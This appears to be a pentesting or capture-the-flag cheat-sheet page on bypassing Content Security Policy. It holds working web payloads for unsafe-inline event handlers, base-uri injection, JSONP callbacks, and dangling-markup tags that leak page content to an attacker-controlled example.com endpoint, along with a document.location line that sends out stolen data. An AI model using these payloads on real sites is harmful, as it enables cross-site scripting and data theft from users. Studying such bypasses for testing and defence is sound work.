Content Security Policy (CSP)

csp_bypass_nonce

The Content Security Policy (CSP) is a security mechanism designed to make XSS and other web client attacks harder.

  • πŸ› We can block inline code execution (no onload/...)
  • πŸ–ΌοΈ We can configure the image policy (no external? whitelist? local?)
  • πŸ’₯ We can configure the script policy (no external? whitelist? local?)
  • 🐍 We can configure URLs that we can connect to (ex: fetch(URL))
  • ...

We can either use curl -i URL and manually inspect the CSP header and meta-tag or use Google CSP Evaluator.

Developers can allow some elements to bypass the CSP, such as one specific element allowed to load an external script using a nonce.

<script nonce="some_nonce_here">/*inline code allowed*/</script>

☠️ Nonce must be unique and not predictable for them to be useful.

πŸ“š A great reference: Beyond XSS, CSP bypass (0.1k ⭐). Maybe HTTPLeaks (2.0k ⭐) can be handy too?


CSP Bypass

CSP policies may not be correctly configured and bypassed. Refer to XSS Malicious Code and XSS Filter Bypass for more details.

CSP Bypass β€” unsafe-inline

csp_bypass_inline_code

If unsafe-inline is enabled, you can execute code using:

<img src=1 onerror="your_code_here" />

CSP Bypass β€” base-uri

csp_bypass_nonce_2

If the CSP is lax enough, we may be able to inject a base-uri to an external website we control, allowing us to load files from our server.

<base href="https://example.com" target="_blank">
<img src="img/dummy.jpg"/>
<!-- https://example.com/img/dummy.jpg -->

CSP Bypass β€” connect-src 'none'

csp_bypass_inline_code csp_bypass_jsonp csp_bypass_nonce

If connect-src is none, any external request will fail. Try:

  • document.location = 'URL/?param=' + <stolen_data> (CTF-only)
  • Automatically submit a hidden form after injecting data inside. Refer to CSRF.

CSP Bypass β€” JSONP β€” script-src

csp_bypass_jsonp

JSONP was designed to ease the process of connecting an API with the website code: the developer can write code automatically executed after the API has been called within the URL ☠️.

Well-known list of public JSONP APIs: JSONBee (0.7k ⭐). Look if your CSP policy is lax enough to allow any of them to be loaded.

<!-- don't forget "defer" or "async" -->
<script defer src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);alert(2)"></script>

Dangling markup

csp_bypass_dangling_markup csp_bypass_dangling_markup2

When the CSP is too restrictive and the goal is only to extract some data from the page, we can use dangling markup.

In a nutshell, we insert a tag that will mess with the browser renderer and export the rest of the page to a endpoint we defined.

All of these in Firefox will result in a request to https://example.com/?<the rest of the HTML page here until the next quote>.

<link rel="prefetch" href='https://example.com/?
<img src='https://example.com/?
<meta http-equiv="refresh" content="4; URL='https://example.com/?
<style>@import//example.com?

πŸ“š Use either ' or " according to the one that gives the largest range.

Chrome prevents HTTP URLs from containing HTML tags which reduce the number of payloads we can use. FTP didn't work.

The payload below doesn't work in recent versions of edge.

<body background='//example.com?
<table background='//example.com?
<thead background='//example.com?
<td background='//example.com?